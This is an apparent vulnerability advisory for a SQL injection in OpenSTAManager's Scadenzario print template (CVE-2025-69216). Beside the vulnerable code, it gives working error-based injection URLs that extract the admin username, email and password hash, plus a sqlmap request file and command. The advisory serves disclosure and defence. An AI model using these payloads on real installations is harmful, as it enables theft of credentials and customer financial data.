CVE-2025-69216: OpenSTAManager has a SQL Injection in Scadenzario Print Template

Overview

Field	Details
CVE ID	CVE-2025-69216
Severity	HIGH
Advisory	View Advisory
Discovered by	Lukasz Rybak

Affected Products

• devcode-it/openstamanager (versions: <= 2.9.8)

CWE Classification

• CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Details

Summary

An authenticated SQL injection vulnerability in OpenSTAManager's Scadenzario (Payment Schedule) print template allows any authenticated user to extract sensitive data from the database, including admin credentials, customer information, and financial records. The vulnerability enables complete database read access through error-based SQL injection techniques.

Details

The vulnerability exists in templates/scadenzario/init.php at line 46, where the id_anagrafica parameter is directly concatenated into an SQL query without proper sanitization:

Vulnerable Code:

if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
    $module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
    $id_anagrafica = get('id_anagrafica');
}

The get() function retrieves user input from GET/POST parameters without validation. The parameter value is directly embedded into the SQL query string using string concatenation instead of using the application's prepare() sanitization function, enabling SQL injection attacks.

Root Cause:

• Missing use of prepare() function for input sanitization
• Direct string concatenation in SQL query construction
• No input validation or type checking

Affected Endpoint:

/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]

Affected Files:

• templates/scadenzario/init.php (line 46) - Primary vulnerability
• templates/scadenzario/init.php (lines 34, 40) - Similar pattern with date parameters
• pdfgen.php - Entry point for template rendering

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PoC (Proof of Concept)

Prerequisites

• Valid authenticated session (any user role)

Exploitation Steps

1. Confirm Vulnerability - Basic Syntax Error Test:

 http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20

SQL syntax error displayed in application response

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2. Extract Database Version - Error-Based SQLi:

http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221

Result: ~8.3.0~ (MySQL version)

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3. Extract Database Name:

http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221

Result: ~openstamanager~

---

4. Extract Admin Username:

http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221

Result: ~admin~

---

5. Extract Admin Email:

http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221

Result: Admin email address

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6. Extract Password Hash (Partial - XPATH 31 char limit):

http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221

Result: bcrypt password hash

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7. Automated Exploitation with SQLMap:

Create request file sqli_osm.req:

GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION_COOKIE]
User-Agent: Mozilla/5.0

Run SQLMap:

sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs

SQLMap Confirmed Injection Types:

• ✅ Boolean-based blind SQL injection
• ✅ Error-based SQL injection (MySQL >= 5.6 GTID_SUBSET)
• ✅ Time-based blind SQL injection (SLEEP)

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Impact

Who is Impacted:

• ✅ All authenticated users - Any user with valid credentials can exploit this vulnerability
• ✅ Low-privilege users - Even users with minimal permissions can access admin-level data
• ✅ All OpenSTAManager installations - Vulnerability exists in the latest master branch

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Attribution

Reported by Łukasz Rybak

References

• https://github.com/devcode-it/openstamanager/security/advisories/GHSA-q6g3-fv43-m2w6
• https://nvd.nist.gov/vuln/detail/CVE-2025-69216
• https://github.com/advisories/GHSA-q6g3-fv43-m2w6

Disclaimer

This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.